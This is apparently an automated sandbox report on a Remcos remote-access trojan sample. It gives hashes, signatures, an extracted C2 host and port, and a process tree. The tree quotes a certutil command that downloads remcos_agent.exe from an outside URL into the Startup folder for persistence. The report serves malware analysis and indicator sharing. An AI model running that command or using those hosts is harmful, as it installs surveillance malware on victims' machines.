Overview

overview

10

Static

static

51611ffb39...11.exe

windows7_x64

10

51611ffb39...11.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    12-11-2020 14:08

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General

  • Target

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe

  • Size

    960KB

  • MD5

    f66db43a97a69279f2e3bec3452ad56e

  • SHA1

    c6875b26c29efda68fd2c180abe1efb477f43b5e

  • SHA256

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11

  • SHA512

    2d7a90249a0746358b8f9c711918e15a257dc07c655c0d5b30427e44e3a9afcdd9859ff62d7a15a31b22f1e64b7262747f1d47a62048f31de577ad0fc013874b

Score
10/10
remcosrat

Malware Config

Extracted

Family

remcos

C2

www.rmagent.biz:7181

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
    "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
          PID:1980
      • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
        "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        PID:1972

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\startup.bat
      MD5

      139392ca64ff374fa0d7b289c71fb24e

      SHA1

      a27c528fae02089f727751549bec330f7d2cc679

      SHA256

      1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f

      SHA512

      e48ad200ece7146416dbbe6f503352c430144f30592904c919af92ef94a0e4ec8604f61ebc4f58ebee094cea47fd22c4ee0da87f06e1c1bada0827a6a80b376a

      Download Submit

    • memory/1108-0-0x0000000000000000-mapping.dmp

      Download

    • memory/1608-5-0x000007FEF6350000-0x000007FEF65CA000-memory.dmp

      Filesize

      2.5MB

      Download

    • memory/1972-3-0x0000000000080000-0x00000000000A0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1972-4-0x00000000000939A4-mapping.dmp

      Download

    • memory/1980-2-0x0000000000000000-mapping.dmp

      Download